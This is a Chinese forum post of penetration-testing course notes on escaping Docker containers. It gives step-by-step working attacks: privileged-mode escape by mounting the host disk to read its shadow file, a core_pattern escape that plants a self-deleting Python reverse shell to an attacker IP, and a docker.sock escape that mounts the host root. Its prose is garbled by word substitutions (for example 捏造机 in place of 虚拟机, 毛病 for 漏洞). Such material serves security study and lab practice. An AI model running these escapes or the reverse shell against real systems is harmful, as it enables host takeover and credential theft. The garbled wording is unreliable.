Day95:云上攻防-云原生篇&Docker安全&权限情况检测&容器逃逸&特权模式&危 ...

打印 上一主题 下一主题

主题 544|帖子 544|积分 1632

目次
云原生-Docker安全-容器逃逸&特权模式
云原生-Docker安全-容器逃逸&挂载Procfs
云原生-Docker安全-容器逃逸&挂载Socket
云原生-Docker安全-容器逃逸条件&权限高低
高权限-Web入口到Docker逃逸(java)特权模式逃逸
低权限-Web入口到Docker逃逸(PHP)特权模式逃逸



   知识点:
     
1、云原生-Docker安全-容器逃逸&特权模式

   
2、云原生-Docker安全-容器逃逸&挂载Procfs

   
3、云原生-Docker安全-容器逃逸&挂载Socket

   
4、云原生-Docker安全-容器逃逸条件&权限高低

    1、Docker是干嘛的?
一个容器技术,类似于VM捏造机,别人情况封装好打包成一个镜像,使用docker技术就能快速把这个镜像情况还原出来。
2、Docker对于渗出测试影响?
攻击者攻击捏造空间磁盘,拿到最高权限也是捏造空间的权限,而不是真实物理情况的权限

3、前渗出-判断是否在容器中
前提:拿到权限
https://blog.csdn.net/qq_23936389/article/details/131486643

方式一:查询cgroup信息
最简朴精准的方式就是查询体系进程的cgroup信息,通过响应的内容可以识别当前进程所处的运行情况,就可以知道是在捏造机、docker还是kubepods里。
cat /proc/1/cgroup
docker 情况下:

K8s情况下:


方式二:查抄/.dockerenv文件
通过判断根目次下的 .dockerenv文件是否存在,可以简朴的识别docker情况。
K8s&docker情况下:
ls -alh /.dockerenv 
可以找到文件。


方式三:检察端口运行情况
netstat -anpt


4、后渗出-三种安全容器逃逸

  • 特权模式启动导致(不安全启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才气逃逸)
  • 危险挂载启动导致(危险启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才气逃逸)
  • docker自身版本毛病&体系内核毛病(软件版本毛病和体系毛病 高低权限都可用)
参考地址:https://wiki.teamssix.com/CloudNative/



云原生-Docker安全-容器逃逸&特权模式

参考地址:https://wiki.teamssix.com/CloudNative/Docker/docker-privileged-escape.html
1、以特权模式启动靶场
  1. docker run --rm --privileged=true -it alpine
复制代码

2、检测是否是docker情况
  1. cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
复制代码

3、判断是否是特权模式
  1. cat /proc/self/status | grep CapEff
复制代码





4、检察目次
  1. fdisk -l
复制代码


5、特权模式逃逸
  1. mkdir /test && mount /dev/sda1 /test
复制代码

  1. cd /test/
  2. ls
复制代码

尝试访问宿主机 shadow 文件,可以看到正常访问



云原生-Docker安全-容器逃逸&挂载Procfs

参考地址:https://wiki.teamssix.com/CloudNative/Docker/docker-procfs-escape.html
1、启动情况
  1. docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
复制代码

2、检测情况
  1. find / -name core_pattern
复制代码

3、查找路径(容器在真实磁盘的绝对路径)
  1. cat /proc/mounts | grep workdir
复制代码

4、写入文件
  1. cat >/tmp/.x.py << EOF
  2. #!/usr/bin/python
  3. import os
  4. import pty
  5. import socket
  6. lhost = "xx.xx.xx.xx"  //反弹IP
  7. lport = xxxx //反弹端口
  8. def main():
  9.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  10.     s.connect((lhost, lport))
  11.     os.dup2(s.fileno(), 0)
  12.     os.dup2(s.fileno(), 1)
  13.     os.dup2(s.fileno(), 2)
  14.     os.putenv("HISTFILE", '/dev/null')
  15.     pty.spawn("/bin/bash")
  16.     os.remove('/tmp/.x.py')
  17.     s.close()
  18. if __name__ == "__main__":
  19.     main()
  20. EOF
复制代码

  1. chmod +x /tmp/.x.py
复制代码

  1. echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore           " > /host/proc/sys/kernel/core_pattern
  2. //这里的路径要替换为workdir的绝对路径
复制代码

  1. cat >/tmp/x.c << EOF
  2. #include <stdio.h>
  3. int main(void)
  4. {
  5.     int *a = NULL;
  6.     *a = 1;
  7.     return 0;
  8. }
  9. EOF
复制代码

  1. cd /tmp
  2. gcc x.c -o x  //编译c文件
复制代码

  1. apt-get update -y && apt-get install  gcc -y
  2. //实战中不推荐安装gcc环境,可以在linux上编译好后上传到容器中执行就行
复制代码

5、实验文件:
  1. ./x  
复制代码
vps上监听即可
  1. nc -lvvp xxxx
复制代码



云原生-Docker安全-容器逃逸&挂载Socket

参考地址:https://wiki.teamssix.com/CloudNative/Docker/docker-socket-escape.html
1、启动靶场
  1. docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
复制代码

2、进入情况
  1. docker exec -it with_docker_sock /bin/bash
复制代码

3、检测情况
  1. ls -lah /var/run/docker.sock
复制代码


4、挂载逃逸
  1. apt-get update
  2. apt-get install curl
  3. curl -fsSL https://get.docker.com/ | sh
复制代码
在容器内部创建一个新的容器,并将宿主机目次挂载到新的容器内部
  1. docker run -it -v /:/host ubuntu /bin/bash
复制代码

  1. ls /host/root
复制代码


云原生-Docker安全-容器逃逸条件&权限高低

模拟真实场景:

高权限-Web入口到Docker逃逸(java)特权模式逃逸

  1. docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721
复制代码








低权限-Web入口到Docker逃逸(PHP)特权模式逃逸

  1. docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa
复制代码






入口假如是低权限的话是没法用特权模式和危险挂载去逃逸的,但是可以利用体系毛病或者docker自身毛病去逃逸。


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

火影

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表